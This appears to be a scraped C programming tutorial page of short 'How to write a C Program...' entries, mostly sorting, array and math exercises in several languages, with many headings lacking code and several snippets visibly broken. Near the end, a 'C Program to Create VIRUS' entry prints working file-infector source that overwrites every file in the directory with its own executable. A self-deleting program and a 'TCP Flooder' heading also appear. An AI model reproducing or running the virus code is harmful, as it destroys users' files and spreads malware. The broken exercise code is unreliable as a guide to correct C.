C Program Quadratic equation

How to write a C Program Quadratic equation in C Programming Language ?


Solution For This Program :

#include <math.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>

int main(void)
{
float a,b,c;
printf("Introduceti un intreg a:");
if(scanf("%f",&a)!=1)
{
printf("Date Eronate");
exit(1);
}
printf("Introduceti un intreg b:");
if(scanf("%f",&b)!=1)
{
printf("Date Eronate");
exit(1);
}
printf("Introduceti un intreg c:");
if(scanf("%f",&c)!=1)
{
printf("Date Eronate");
exit(1);
}
printf("Forma ecuatiei de grad II:%gx^2+%gx+%g=0.\n",a,b,c);
double delta,xre,xint,x1,x2,x3;
if(a!=0)
{
delta=b*b-4*a*c;
printf("Delta=%g\n",delta);
 
if(delta>0)
{
x1=(-b+sqrt(delta))/(2*a);
x2=(-b-sqrt(delta))/(2*a);
printf("Ecuatia are doua solutii reale diferite:\n");
printf("\nx1=%g",x1);
printf("\nx2=%g",x2);

}
else
{

if(delta==0)
{
x1=-b/(2*a);
x2=x1;
printf("Ecuatia are doua solutii reale egale:\n");
printf("\nx1=x2=%g",x1);
}
else
{
xre=(double)-b/(2.0*a);
xint=sqrt(-delta)/(2.0*a);
printf("Ecuatia nu are solutii reale.Are solutii complexe:\n");
printf("\nParte reala=%g",xre);
printf("\nParte imaginara=%g",xint);
}
        }
  }
else
    {
if(b!=0)
{
x3=-c/b;
printf("\nEcuatie de grad I cu o solutie reala:\n");
printf("\nx=%g",x3);
}
else
{
if(c!=0)
printf("\nEcuatie imposibila!");
else
printf("\nEcuatie nedeterminata!");
}
}

return(0);
}

C Program Array Index Example

How to write a C Program Array Index Example in C Programming Language ?


Solution For C Program :

C Program Array Example: Average

How to write a C Program Array Example: Average in C Programming Language ?


Solution For C Program :

C Program Array Example: Reverse

How to write a C Program Array Example: Reverse in C Programming Language ?


Solution For C Program :

C Program if - while - for Example

How to write a C Program if - while - for Example in C Programming Language ?


Solution For C Program :

C Program Switch - Case Example

How to write a C Program Switch - Case Example in C Programming Language ?


Solution For C Program :

C Program 0.1 + 0.2 != 0.3 Solved

How to write a C Program 0.1 + 0.2 != 0.3 Solved in C Programming Language ?


Solution For C Program :

C Program if - else if - else Example

How to write a C Program if - else if - else Example in C Programming language ?

Solution For C Program :

C Program typedef Example

How to write a C Program typedef Example in C Programming Language ?

Solution For C Program :

C Program scanf & gets Example

How to write a C Program scanf & gets Example in C Programming Language ?


Solution For C Program :

C Program Recursion Example

How to write a C Program Recursion Example in C Programming Language ?


Solution For C Program :

C Program File Input & Output Example

How to write a C Program File Input & Output Example in C Programming Language ?


Solution For C Program :

C Program Structure Example-2

How to write a C Program Structure Example in C Programming Language ?

Solution For C Program :

C Program Structure Example

How to write a C Program Structure Example in C Programming Language ?

Solution For C Program :

C Program Pointer Example

How to write a C Program Pointer Example in C Programming Language ?


Solution For C Program :

C Program Function Example

How to write a C Program Function Example in C Programming Language ?


Solution For C Program :

C Program String Example

How to write a C Program String Example in C Programming Language ?


Solution For C Program :

C Program String Count Example

How to write a C Program String Count in C Programming Language ?


Solution For C Program :

C Program String Example

How to write a C Program String Example in C Programming Language ?


Solution For C Program :

C Program Character Example

How to write a C Program Character in C Programming Language ?


Solution For C Program :

C Program Sort Example

How to write a C Program Sort in C Programming Language ?


Solution For C Program :

C Program sizeof & memcpy Example

How to write a C Program sizeof & memcpy in C Programming Language ?


Solution For C Program :

C Program Array Example

How to write a C Program Array Example in C Programming Language ?


Solution For C Program :

C Program to Array

How to write a C Program to Array in C Programming Language ?


Solution For C Program :

C Program print fill zero & mod/div

How to write a C Program print fill zero & mod/div in C Programming Language ?


Solution For C Program :

C Program Double, Float Equal

How to write a C Program double, float equal in C Programming Language ?


Solution For C Program :

C Program nested for

How to write a C Program nested for in C Programming Language ?

Solution For C Program:

C Program for

How to write a C Program for in C Programming Language ?



Solution For C Program :

C Program if

How to write a C Program if in C Programming Language ?


Solution For C Program :

C Program System

How to write a C Program System in C Programming Language ?


Solution For C Program :

C Program Operation

How to write a C Program Operation in C Programming Language ?


Solution For C Program :

Example C Program Cuda Malloc

How to write a Example C Program Cuda Malloc in C Programming Language ?


Solution For C Program :

C Program Side Length Example

How to write a C Program Side Length in C Programming Language ?


Solution For C Program :

C Program Advanced TCP Flooder

How to write a C Program Advanced TCP Flooder in C Programming Language ?


Solution For C Program :

C Program Shell Sort Using C Programming Language

How to write a C Program For ShellSort Using C Programming Language ?

Shell sort is a sorting algorithm, devised by Donald Shell in 1959, that is a generalization of insertion
sort, which exploits the fact that insertion sort works efficiently on input that is already almost sorted. It improves on insertion sort by allowing the comparison and exchange of elements that are far apart.
The last step of Shell sort is a plain insertion sort, but by then, the array of data is guaranteed to be
almost sorted.

See More : Shellsort


Solution For C Program :
-------------------------------

SHELL SORT ALGORITHM 

-------------------------------
input: an array num of length n with array elements numbered 0 to n - 1

Shell.Sort(num,n,key)
1. Assign, span = int(n/2)
2. while span > 0 do:
   a) for i from span to n - 1, Repeat step b,c,e
   b) assign num[i] to key and i to j
   c) while j = span and num[j - span] > key, Repeat step d
   d) swap num[j] and num[j - span]
   e) Assign, span = int(span / 2.2)
3. Use Insertion Sort to sort remaining array of data
----------------------------------------------------------------------------

The following is an implementation of Shell sort written in pseudocode.
The increment sequence is a geometric sequence in which every term is
roughly 2.2 times smaller than the previous one:
---------------------

SHELL SORT PSEUDOCODE 

---------------------
span = int(n/2)
while span > 0 do:
for i = span .. n - 1 do:
   key =  num[i]
   j = i
   while j = span and num[j - span] > key do:
    num[j] = num[j - span]
    j = j - span
   num[j] = key
  span = int(span / 2.2)
****************************************************************************/

#include "iostream.h"
#include "conio.h"

void insertionSort(int num[],int N)
{
int i,j,key;
for(j = 1;j < N;j++) //From Second Element to Last
{
  key = num[j]; //Assign num[j] to key
   i = j - 1;
   while(i >= 0 && num[i] > key)
    {
     //Swap two elements
    num[i + 1] = num[i];
      i--;
      num[i + 1] = key;
    }
}
}

int main()
{
int num[50],N,i,j,span,key;
cout << "How many numbers? " ;
cin >> N;
cout << "\nEnter " << N << " Numbers\n";
for(i = 0;i < N;i++)
  cin >> num[i];

span = int(N/2);
while(span > 0)
  {
   for(i = span;i < N;i += span)
    {
     key = num[i];
     j = i;
     while(j >= span && num[j - span] > key)
      {
       num[j] = num[j - span];
       j = j - span;
      }

     num[j] = key;
    }
  span = int(span/2.2);
  }

//Now, the array of data is almost sorted
//So, using Insertion Sort as last step
insertionSort(num,N);

cout << endl;
for(int i = 0;i < N;i++)
  cout << num[i] << ' ';

getch();
return 0;
}

OUTPUT of C Program Shell Sort :
How many numbers? 10
Enter 10 Numbers 
25 65 47 88 64 10 -98 0 35 6
-98 0 6 10 25 35 47 64 65 88

C Program Selection Sort Using C Programming Language

How to write a C Program For Selection Sort Using C Programming Language ?

In computer scienceselection sort is a sorting algorithm, specifically an in-place comparison sort. It has O(n2) time complexity, making it inefficient on large lists, and generally performs worse than the similar insertion sort. Selection sort is noted for its simplicity, and it has performance advantages over more complicated algorithms in certain situations, particularly where auxiliary memory is limited.

See More : Selection sort


Solution For C Program:

C Program to Bubble Sort Using C Programming Language

How to write a C Program to Bubble Sort in C Programming Language ?

Bubble sort, sometimes referred to as sinking sort, is a simple sorting algorithm that repeatedly steps through the list to be sorted, compares each pair of adjacent items and swaps them if they are in the wrong order. The pass through the list is repeated until no swaps are needed, which indicates that the list is sorted. The algorithm, which is a comparison sort, is named for the way smaller elements "bubble" to the top of the list. Although the algorithm is simple, it is too slow and impractical for most problems even when compared to insertion sort. It can be practical if the input is usually in sort order but may occasionally have some out-of-order elements nearly in position.

See More: Bubble sort

Solution For C Program :

C Program Merge Sort Using C Program

How to write a C Program Merge Sort in C Programming Language ?

In computer sciencemerge sort (also commonly spelled mergesort) is an efficient, general-purpose, comparison-based sorting algorithm. Most implementations produce a stable sort, which means that the implementation preserves the input order of equal elements in the sorted output. Mergesort is a divide and conquer algorithm that was invented by John von Neumann in 1945.

See More : Merge sort

C program for merge sorting :

Solution For C Program :

Heap Sort Using C Programming Language

How to write a C Program Heap Sort Using C Programming Language ?

sorting algorithm that works by first organizing the data to be sorted into a special type of binary tree called a heap. The heap itself has, by definition, the largest value at the top of the tree, so the heap sort algorithm must also reverse the order.

A complete binary tree is a binary tree in which each non-leaf has two children and all the leaves are at the same depth from the root.

A nearly complete binary tree is a binary tree constructed from a complete binary tree by eliminating a number of nodes (possibly none) from right at the leaf level.

A heap is a node-labeled, nearly complete binary tree with a special property.

The (Binary) heap data structure is an array object that can be

viewed as a nearly complete binary tree.

See More : Heapsort

Solution For C Program :


Quick Sort Using C Programming Language

How to write a C Program Quick Sort Using C Programming Language ?

Quicksort (sometimes called partition-exchange sort) is an efficient sorting algorithm, serving as a systematic method for placing the elements of an array in order. 


Quicksort is a divide-and-conquer sorting algorithm in which division is dynamically carried out (as opposed to static division in Merge sort).

The three steps of Quicksort are as follows:

Divide: Rearrange the elements and split the array into two subarrays and an element in between such that so that each element in the left subarray is less than or equal the middle element and each element in the right subarray is greater than the middle element. 

Conquer: Recursively sort the two subarrays.

Combine: None.

See More : Quicksort

Write the procedure , which is one of a sum , a product and a geometric average in the panel for the NxM elements are located on opposite diagonal and main diagonal . Remind ! Counting only odd elements !

Write the procedure , which is one of a sum , a product and a geometric average in the panel for the NxM elements are located on opposite diagonal and main diagonal . Remind ! Counting only odd elements !


Schreib die Prozedur, die zählt eine Summe, einen Produkt und einen geometrischen Durchschnitt in der Tafel NxM fur die Elemente befinden sich über gegenläufigen Diagonale und unter hauptsächlichen Diagonale. Erinner! Zähl nur für ungerade Elementen!


Solution For C Program :

//Schreib die Prozedur, die zählt eine Summe, einen Produkt und einen geometrischen Durchschnitt in der Tafel NxM fur die Elemente befinden sich über gegenläufigen Diagonale und unter hauptsächlichen Diagonale. Erinner! Zähl nur für ungerade Elementen!

void prozedur (int tafel[N][M])
{
int i=0,j=0,Summe=0,Produkt=1;
float Durchschnitt;
for(i;i<N;i++)
   for(j;j<M;j++)
      if(i>j && i<(N-1)-j && tafel[i][j]!=0)
         Summe+=tafel[i][j];
         Produkt*=tafel[i][j];
Durchschnitt=Summe/(N*M);
printf("Summe ergibt: %d Produkt ergibt: %d geometrischer Durchschnitt ergibt: %d,Summe,Produkt,Durchschnitt);
}

C Program Pipes()

How to Write a C Program Function Pipes() in C Programming Language ?

  1. Create pipes.
  2. Create a pipe and store file descriptors.
  3. Create a child.
  4. Reroute pipe's write end to child's output.
  5. Close unnecessary file descriptors.
  6. Execute the command.
Solution For C Program :


//Create pipes.
int pipes () {
//File descriptor array.
int fd_arr[2];
//Create a pipe and store file descriptors.
pipe(fd_arr);
//Create a child.
pid_t pid = fork();
//Child.
if (pid == 0) {
//Reroute pipe's write end to child's output.
dup2(fd_arr[1], STDOUT_FILENO);
//Close unnecessary file descriptors.
close(fd_arr[0]);
close(fd_arr[1]);
//Execute the command.
if (execvp(command[0], command) == -1) {
exit(EXIT_FAILURE);
}
}
//Parent.
//Set pipes read end to parent's input.
dup2(fd_arr[0], STDIN_FILENO);
//Close unnecessary file descriptors.
close(fd_arr[0]);
close(fd_arr[1]);
//Wait for child.
int status = 0;
waitpid(pid, &status, WUNTRACED);
//Restore I/O.
dup2(INPUT, STDIN_FILENO);
dup2(OUTPUT, STDOUT_FILENO);
return errno;
}

C Programm zur Berechnung von Umfang und Flächeninhalt verschiedener geomatrischer Figuren

C Programm zur Berechnung von Umfang und Flächeninhalt verschiedener geomatrischer Figuren

C Program for calculating the volume and acreage different geometric figures.


Solution For C Program :

/* C Program for calculating the volume and acreage different geometric figures.*/

#include <stdio.h>
#include <string.h>

/* KONSTANTEN */
#define RECHTECK 1
#define DREIECK 2
#define KREIS 3
#define YES 'y'
#define ENDE 0
#define PI 3.14159265358979323846

/* PROTOTYPEN */
void rechteck(float, float);
void dreieck(float, float);
void kreis(float);
int control(void);
int menue(void);
float wertlesen();




//int *feld;
int feld[] = { 0,0 };
float umfang = 0.0;
float radius = 0.0;
float flaeche = 0.0;




rechteck(seiteA, seiteB)
{
float flaeche = 0.0;
float umfang = 0.0;
flaeche = seiteA*seiteB;
umfang = (2*seiteA)+(2*seiteB);
feld[0] = flaeche;
feld[1] = umfang;
printf("feld[0]: %d",feld[0]);
printf("feld[1]: %d",feld[1]);
}

dreieck(seite, hoehe)
{
float flaeche = 0.0;
flaeche = (seite*hoehe)/2;
feld[0] = flaeche;
//return flaeche;
}
kreis(radius)
{
float flaeche = 0.0;
float umfang = 0.0;
int r;
int u;
*r = radius*radius*PI;
*u = 2*PI*radius;
}

int main(void)
{
control();
}
/* Menüsteuerung */
menue(void)
{
int pruefeEingabe = 0;
int nutzerauswahl = 0;
char endzeichen = '\0';
printf("Bitte waehlen Sie:\n");
printf("1: Rechteck\n");
printf("2: Dreieck\n");
printf("3: Kreis\n");
printf("0: Beenden\n");
do
{
printf("\nBitte treffen Sie eine gültige Auswahl:\n");
// Nutzereingabe zur Menüauswahl
pruefeEingabe = scanf("%d%c",&nutzerauswahl,&endzeichen);
fflush(stdin);
}
while(pruefeEingabe !=2 || endzeichen != '\n'); //Ausschluss falscher Eingaben durch Benutzer
return nutzerauswahl;
}

/* Funktion zum Einlesen der notwendigen Zahlen für die Funktionen 1 bis 3 */
float wertlesen()
{
int pruefeEingabe = 0;
float zahl = 0.0;
char endzeichen = '\0';
do
{
// printf("Bitte geben Sie eine positive Zahl ein:\n");
// Nutzereingabe für Werte
pruefeEingabe = scanf("%f%c",&zahl,&endzeichen);
fflush(stdin);
}
while(pruefeEingabe !=2 || endzeichen != '\n' || zahl < 0);
printf("\n");
return zahl;
}

/* Kontroll-Funktion */
int control(void)
{
float *rzeiger;
int *uzeiger;
int *fzeiger;
rzeiger = &radius;
uzeiger = &umfang;
fzeiger = &flaeche;
int nutzerauswahl = 0;
float ersteZahl=0.0;
float zweiteZahl=0.0;
//float ergebnis = 0.0;
char endzeichen = '\0';
char weiter = '\0';
/* Startbedingungen und Überprüfung */
do
{
if(weiter!=YES)
{
// Ansteuerung des Menü
nutzerauswahl=menue();
// switch-case zur Menüsteuerung
switch(nutzerauswahl)
{
case RECHTECK: // Wertelesen
printf("\nBitte Laenge der Seite a eingeben: ");
ersteZahl=wertlesen();
printf("\nwertlesen: %f", ersteZahl);
printf("\nBitte Laenge der Seite b eingeben: ");
zweiteZahl=wertlesen();
printf("\nwertlesen: %f", zweiteZahl);
// Funktionsaufruf
rechteck(ersteZahl, zweiteZahl);
printf("\nDie Flaeche betraegt: %d.", feld[0]);
printf("\nDer Umfang betraegt: %d.", feld[1]);
break;
case DREIECK: // Wertelesen
printf("\nBitte Laenge der Grundseite eingeben: ");
ersteZahl=wertlesen();
printf("\nBitte Hoehe eingeben: ");
zweiteZahl=wertlesen();
// Funktionsaufruf
// ergebnis=dreieck(ersteZahl, zweiteZahl);
// Ergebnisauswertung
// printf("\nDie Flaeche betraegt: %d.",ergebnis);
printf("\nDie Flaeche betraegt: %d.", feld[0]);
break;
case KREIS: // Funktionsaufruf
printf("\nBitte Radius eingeben: ");
ersteZahl = wertlesen();
printf("\nDie Flaeche betraegt: %d.", *rzeiger);
printf("\nDer Umfang betraegt: %d.", *uzeiger);
break;
case ENDE: printf("\n\n");
break;
default: printf("\nSie haben keine gültige Auswahl getroffen.\n");
}
}
// Steuerung der Abbruchkriterien
else
{
nutzerauswahl=ENDE;
}
if(nutzerauswahl!=ENDE)
{
printf("\nWollen Sie das Programm beenden? y - ja, sonst beliebiges Zeichen angeben.\n");
// Nutzereingabe zur Wiederholung oder dem Abbruch des Programms
scanf("%c%c",&weiter,&endzeichen);
fflush(stdin);
if(weiter == YES && endzeichen != '\n')
{
nutzerauswahl=ENDE;
}
printf("\n\n");
}
}
while(nutzerauswahl!=ENDE);
}

Napisać funkcję obliczającą funkcję geometryczną w tablicy NxM elementowej z elementów o wartościach parzystych znajdujących się pod główną i ponad przeciwną przekątną.

Napisać funkcję obliczającą funkcję geometryczną w tablicy NxM elementowej z elementów o wartościach parzystych znajdujących się pod główną i ponad przeciwną przekątną.

Write a function that calculates the geometric function in an array NxM elements from the elements with values ​​even located under the main and over the opposite diagonal .



Solution For C Program :

// Napisać funkcję obliczającą funkcję geometryczną w tablicy NxM elementowej z elementów o wartościach parzystych znajdujących się pod główną i ponad przeciwną przekątną.

float average (int tab[N][M])
{
int i,j,iloczyn=1;
for(i=0;i<N;i++)
   for(j=0;j<M;j++)
      if(i>j && i<(N-1)-j && i&1==0)
        iloczyn*=tab[i][j];
return pow(iloczyn, (1/(N*M)));
}

C Program Gemiddelde en mediaan

Hoe maak je een C Program Gemiddelde en mediaan in C Programming Language te schrijven?


Solution For C Program :

/*C Program Gemiddelde en mediaan.*/
#include <stdio.h>

void print_array(int mediaan[], int count);

int main(void)
{
    float sum; // som van de getallen als float voor komma
    float avg; // gemiddelde van de getallen als float voor komma
    int mediaan[127]; // de array waar we onze bestanden insteken om te sorteren
    int number; // het huidige getal in de loop
    int count; // het aantal getallen
    printf("Hoeveel getallen wilt u ingeven? ");
    scanf("%d", &count); // we vragen hoeveel getallen de gebruiker wilt ingeven
    int i; // declaratie voor de loop
    sum = 0.0; // voor we beginnen is de som nog 0
    for (i=0; i<count; i++) // we vragen elk getal aan de gebruiker
    {
        printf("Geef getal %d in: ", i+1);
        scanf("%d", &number); // lees de nummer in als 'number'
        mediaan[i] = number; // steek dit getal in de array
        sum = sum + number; // en tel op bij de totaalsom
    }
    printf("Oorspronkelijke array: ");
    print_array(mediaan, count); // controle van de getallen
    // hier gaan we sorteren
    int x; // declaratie voor de loop
    for(x=0; x<(count-1); ++x) {
        int y; // declaratie voor de loop
        for(y=(count-1); y>x; --y) {
            if(mediaan[y-1] > mediaan[y]) {
                int hulp;
                hulp = mediaan[y-1];
                mediaan[y-1] = mediaan[y];
                mediaan[y] = hulp;
            }
        }
    }
    printf("Gesorteerde array: ");
    print_array(mediaan, count); // controle van de getallen, is hij gesorteerd?
    // hier gaan we kijken of het aantal nummers even of oneven is
    if (count%2 == 1) {
        printf("De mediaan is %d\n", mediaan[count/2]);
    }
    else {
        // som van de 2 middelste getallen als float voor komma
        float sum_mediaan = mediaan[(count/2)-1] + mediaan[count/2];
        // gemiddelde hiervan als float voor komma
        float avg_mediaan = sum_mediaan/2;
        printf("De mediaan is %f\n", avg_mediaan);
    }
    // en tot slot het gemiddelde berekenen en printen
    avg = sum/count;
    printf("Het gemiddelde bedraagt %f\n", avg);
    printf("Hello World! :D\n");
    return 0;
}

/*
 * De functie die alle getallen in de array afprint
*/

void print_array(int mediaan[], int count) {
    int i;
    for (i=0; i<(count-1); i++)
    {
        printf("%d, ", mediaan[i]);
    }
    printf("%d\n", mediaan[count-1]);
}

C Program Problem's Solution For General Hospital

The general hospital of the city of Duckburg has 500 departments. In each department i ∈ {1,. . . , 500} and each work 30 doctors
30 doctors following at 10 more patients.
It plans and implements in C / C an algorithm
1. acquires from standard input elements of a three-dimensional vector A of size 500 × 30 × 10, where
A [i] [j] [k] = q ≥ 1 indicates that the patient's doctor j k in the department will be discharged between q days;
A [i] [j] [k] = 0, j indicates the physician in the department has no patient index k;
2. invoke a function that returns the output index of the department having the minimum number of patients hospitalized;
3. invoke a function that returns output for each department i ∈ {1,. . . , 500} the total number of patients it admitted.




/*Il policlinico della città di Paperopoli ha 500 reparti. In ciascun reparto i ∈ {1, . . . , 500} lavorano 30 medici e ciascuno
dei 30 medici segue al più 10 pazienti.
Si progetti ed implementi in C/C++ un algoritmo che
1. acquisisca da standard input gli elementi di un vettore tridimensionale A di dimensione 500 × 30 × 10, dove
A[i][j][k] = q ≥ 1 indica che il paziente k del medico j nel reparto i sarà dimesso fra q giorni;
A[i][j][k] = 0, indica il medico j nel reparto i non ha alcun paziente di indice k;
2. invochi una funzione che restituisca in output l’indice del reparto avente il minimo numero di pazienti
ricoverati;
3. invochi una funzione che restituisca in output per ciascun reparto i ∈ {1, . . . , 500} il numero totale di pazienti
in esso ricoverati.*/


#include <stdio.h>
#define rep 500
#define med 30
#define paz 10
int getRepartoConMenoPazienti(int*);
int getPazientiInReparto(int*);
int maggioreDi(int);
void inizializza(int*);
void printPazientiInOgniReparto(int*);
int main(void) {
int A[rep][med][paz];
inizializza(A[0][0]);
printf("Il reparto con meno pazienti e' il %d\n",getRepartoConMenoPazienti(A[0][0])+1);
printPazientiInOgniReparto(A[0][0]);
system("PAUSE");
return 0;
}
void inizializza(int* punt) {
for(int i=0;i<rep;i++) {
for(int j=0;j<med;j++) {
for(int k=0;k<paz;k++) {
printf("%dx%dx%d=",i,j,k);
*(punt+i*med*paz+j*paz+k)=maggioreDi(0);
}
}
}
}
int maggioreDi(int inf) {
int tmp;
scanf("%d",&tmp);
while(tmp<inf) {
printf("Errore! Inserire un numero maggiore di %d: ",inf);
scanf("%d",&tmp);
}
return tmp;
}
int getPazientiInReparto(int* punt) {
int cnt=0;
for(int i=0;i<med;i++) {
for(int j=0;j<paz;j++) {
if((*(punt+i*paz+j))!=0) {
cnt++;
}
}
}
return cnt;
}
int getRepartoConMenoPazienti(int* punt) {
int indiceMin=0,valoreMin=getPazientiInReparto(punt);
for(int i=1;i<rep;i++) {
int valoreAtt=getPazientiInReparto(punt+indiceMin*i);
if(valoreAtt<valoreMin) {
valoreMin=valoreAtt;
indiceMin=i;
}
}
return indiceMin;
}
void printPazientiInOgniReparto(int* punt) {
for(int i=0;i<rep;i++) {
printf("Il reparto %d ha %d pazienti\n",i+1,getPazientiInReparto(punt+i*rep));
}
}

C Program Array NxM Elements Geometric/Arithmetic

How to Write a C Program for numbering the product of all real numbers listed in the array NxM elements,  or function counting the arithmetic average of all the numbers listed in the array NxM Elemental, for counting the geometric mean NxM array elements and for counting the arithmetic average above the main diagonal in the table NxM elements in C Programming Language ?


//Napisać procedurę liczącą iloczyn wszystkich liczb rzeczywistych znajdujących się w tablicy NxM elementowej.

Write procedure for numbering the product of all real numbers listed in the array NxM elements.



void iloczyn (int tablica[N][M])
{
 int i,j,iloczyn=0;
for(i=0;i<N;i++)
    for(j=0;j<M;j++)
       iloczyn*=tablica[i][j];
printf("Iloczyn liczb w tablicy wynosi: ",iloczyn);
}

//Napisać procedurę lub funkcję liczącą średnią arytmetyczną wszystkich liczb znajdujących się w tablicy NxM elementowej.

Write a procedure or function counting the arithmetic average of all the numbers listed in the array NxM Elemental



float srednia_aryt(int tablica[N][M])
{
int i,j,suma=0;
for(i=0;i<N;i++)
    for(j=0;j<M;j++)
       suma+=tablica[i][j];
return suma/N*M;
}

 //Napisać procedurÄ™ liczÄ…cÄ… Å›redniÄ… geometrycznÄ… w tablicy NxM elementowej.

//Write procedure for counting the geometric mean NxM array elements.



float srednia_geo(int tablica[N][M])
{
int i,j,iloczyn=0;
for(i=0;i<N;i++)
    for(j=0;j<M;j++)
       iloczyn*=tablica[i][j];
return pow(iloczyn,NxM);
}

   //Napisać procedurÄ™ liczÄ…cÄ… Å›redniÄ… arytmetycznÄ… ponad głównÄ… przekÄ…tna w tablicy NxM elementowej.

Write procedure for counting the arithmetic average above the main diagonal in the table NxM elements.



float srednia_aryt(int tablica[N][M])
{
int i,j,suma=0;
for(i=0;i<N;i++)
    for(j=0;j<M;j++)
       if(i<j)
         suma+=tablica[i][j];
return suma/N*M;
}

C Program to Find Random Number

How to write a C Program to Find Random Number in C Programming Language ?


Solution For C Program :

/*C Program to Find Random Number.*/

#include<stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
int i;
time_t t;
srand((unsigned) time(&t));
printf(“Ten random numbers from 0 to 99\n\n”);
for(i=0; i<10;i++)
printf(“%d\n”,rand()%100);
}

C Program to Remove Single Space or Line

How to write a C Program to Remove Single Space or Line in C Programming Language ?

Solution For C Program :

/*C Program to Remove Single Space or Line.*/

#include<stdio.h>
#include<conio.h>
#include<process.h>
#include<dos.h>
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(“Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(“Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(“target.c”,”w”);
if(b==NULL)
{
puts(“Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(“DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

C Program To Destruc Self Execution File ?

How to write a C Program To Destruc Self Execution File in C Programming Language ?


Solution For C Program :

/*C Program To Destruc Self Execution File.*/

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf("This program will destroy itself if u press any key!!!\n");
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

C Program to Create VIRUS

How to write a C Program to Create VIRUS in C Programming Language ?


Solution For C Program :

/*C Program to Create VIRUS.*/

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

C Program to Print a String Without Use Semicolon.

How to write a C Program to Print a String Without Use Semicolon in C Programming Language ?


Solution For C Program :

/*C Program to Print a String Without Use Semicolon.*/

#include <stdio.h>
#include <conio.h>
void main()
{
 if(printf("Hello"))
}

C Program Turns on an LED on for one second, then off for one second, repeatedly

How to write a C Program Turns on an LED on for one second, then off for one second, repeatedly in C Programming Language ?


Solution For C Program :

[code]
/*
  Blink
  Turns on an LED on for one second, then off for one second, repeatedly.

  Most Arduinos have an on-board LED you can control. On the Uno and  Leonardo, it is attached to digital pin 13. If you're unsure what pin the on-board LED is connected to on your Arduino model, check  the documentation at http://www.arduino.cc

  This example code is in the public domain.

  modified 8 May 2014
  by Scott Fitzgerald
 */


// the setup function runs once when you press reset or power the board
void setup() {
  // initialize digital pin 13 as an output.
  pinMode(13, OUTPUT);
}

// the loop function runs over and over again forever
void loop() {
  digitalWrite(13, HIGH);   // turn the LED on (HIGH is the voltage level)
  delay(1000);              // wait for a second
  digitalWrite(13, LOW);    // turn the LED off by making the voltage LOW
  delay(1000);              // wait for a second
}
[/code]

C Program 0-1000 to Ordinary

How to write a C Program 0-1000 to Ordinary in C Programming Language ?


Solution For C Program :

/*C Program 0-1000 to Ordinary.*/

#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <errno.h>

int main(void)
{
    char buffer[5];
    scanf("%4s", buffer);
    char c;
    if(fgetc(stdin) != '\n')
    {
        while((c=fgetc(stdin)) != '\n' && c!=EOF); // read rest of input
        printf("input has been truncated to: %s\n", buffer);
    }

    if(strcmp(buffer, "0") == 0 || strcmp(buffer, "000") == 0 || strcmp(buffer, "0000") == 0 || strcmp(buffer, "0000") == 0)
    {
        printf("zero\n");
        return 0;
    }

    int i = 0, n = strlen(buffer);
    while(i<n)
    {
        char* res;
        switch(n-i)
        {
            case 2:
            switch(buffer[i] - '0')
                {
                    case 0: res = ""; break;
                    case 1:
                        {
                            switch(buffer[i+1] - '0')
                            {
                                case 0: res = "ten"; break;
                                case 1: res = "eleven"; break;
                                case 2: res = "twelve"; break;
                                case 3: res = "thirteen"; break;
                                case 4: res = "fourteen"; break;
                                case 5: res = "fifteen"; break;
                                case 6: res = "sixteen"; break;
                                case 7: res = "seventeen"; break;
                                case 8: res = "eighteen"; break;
                                case 9: res = "nineteen"; break;
                                default: res = "error"; break;
                            }
                            i+=2;
                            continue;
                        }
                        break;
                    case 2: res = "twenty"; break;
                    case 3: res = "thirty"; break;
                    case 4: res = "forty"; break;
                    case 5: res = "fifty"; break;
                    case 6: res = "sixty"; break;
                    case 7: res = "seventy"; break;
                    case 8: res = "eighty"; break;
                    case 9: res = "ninety"; break;
                    default: res = "error"; break;
                }
                break;
            default:
            switch(buffer[i] - '0')
                {
                    case 0: res = ""; break;
                    case 1: res = "one"; break;
                    case 2: res = "two"; break;
                    case 3: res = "three"; break;
                    case 4: res = "four"; break;
                    case 5: res = "five"; break;
                    case 6: res = "six"; break;
                    case 7: res = "seven"; break;
                    case 8: res = "eight"; break;
                    case 9: res = "nine"; break;
                    default: res = "error"; break;
                }
                break;
    }
        if(res)
        {
            printf("%s ", res);
            res = "";
            if(buffer[i] != '0')
            {
                switch(n-i)
                {
                    case 4: res = "thousand "; break;
                    case 3: res = "hundred "; break;
                    case 2: break;
                    case 1: break;
                    default: break;
